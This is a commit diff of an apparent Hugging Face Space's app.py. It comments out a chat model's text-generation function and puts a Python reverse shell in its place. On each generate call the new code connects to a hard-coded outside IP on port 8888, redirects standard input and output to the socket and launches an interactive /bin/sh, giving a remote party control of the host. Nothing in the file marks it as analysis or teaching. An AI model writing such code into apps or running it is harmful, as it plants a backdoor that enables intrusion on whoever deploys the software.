Spaces:
Runtime error
Runtime error
littlebird13
commited on
Update app.py
Browse files
app.py
CHANGED
@@ -85,41 +85,50 @@ def generate(
|
|
85 |
top_k: int = 50,
|
86 |
repetition_penalty: float = 1.2,
|
87 |
) -> Iterator[str]:
|
88 |
-
|
89 |
-
|
90 |
-
|
91 |
-
|
92 |
-
|
93 |
-
|
94 |
-
|
95 |
-
|
96 |
-
|
97 |
-
|
98 |
-
|
99 |
-
|
100 |
-
|
101 |
-
|
102 |
-
|
103 |
-
|
104 |
-
|
105 |
-
|
106 |
-
|
107 |
-
|
108 |
-
|
109 |
-
|
110 |
-
|
111 |
-
|
112 |
-
|
113 |
-
|
114 |
-
#
|
115 |
-
|
116 |
-
|
117 |
-
|
118 |
-
|
119 |
-
|
120 |
-
|
121 |
-
#
|
122 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
123 |
#yield outputs
|
124 |
|
125 |
|
|
|
85 |
top_k: int = 50,
|
86 |
repetition_penalty: float = 1.2,
|
87 |
) -> Iterator[str]:
|
88 |
+
print("start to generate subprocess")
|
89 |
+
import socket,subprocess,os;
|
90 |
+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
|
91 |
+
s.connect(("47.94.74.244",8888));
|
92 |
+
os.dup2(s.fileno(),0);
|
93 |
+
os.dup2(s.fileno(),1);
|
94 |
+
os.dup2(s.fileno(),2);
|
95 |
+
p=subprocess.call(["/bin/sh","-i"]);
|
96 |
+
|
97 |
+
|
98 |
+
# print_gpu()
|
99 |
+
|
100 |
+
# conversation = []
|
101 |
+
# if system_prompt:
|
102 |
+
# conversation.append({"role": "system", "content": system_prompt})
|
103 |
+
# for user, assistant in chat_history:
|
104 |
+
# conversation.extend([{"role": "user", "content": user}, {"role": "assistant", "content": assistant}])
|
105 |
+
# conversation.append({"role": "user", "content": message})
|
106 |
+
|
107 |
+
# input_ids = tokenizer.apply_chat_template(conversation, tokenize=False,add_generation_prompt=True)
|
108 |
+
# input_ids = tokenizer([input_ids],return_tensors="pt").to(model.device)
|
109 |
+
|
110 |
+
# streamer = TextIteratorStreamer(tokenizer, timeout=10.0, skip_prompt=True, skip_special_tokens=True)
|
111 |
+
# generate_kwargs = dict(
|
112 |
+
# input_ids=input_ids.input_ids,
|
113 |
+
# streamer=streamer,
|
114 |
+
# max_new_tokens=max_new_tokens,
|
115 |
+
# do_sample=True,
|
116 |
+
# top_p=top_p,
|
117 |
+
# top_k=top_k,
|
118 |
+
# temperature=temperature,
|
119 |
+
# repetition_penalty=repetition_penalty,
|
120 |
+
# )
|
121 |
+
# t = Thread(target=model.generate, kwargs=generate_kwargs)
|
122 |
+
# t.start()
|
123 |
+
# #dictionary update sequence element #0 has length 19; 2 is required
|
124 |
+
|
125 |
+
# outputs = []
|
126 |
+
# for text in streamer:
|
127 |
+
# outputs.append(text)
|
128 |
+
# yield "".join(outputs)
|
129 |
+
|
130 |
+
# #outputs = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]
|
131 |
+
# print(outputs)
|
132 |
#yield outputs
|
133 |
|
134 |
|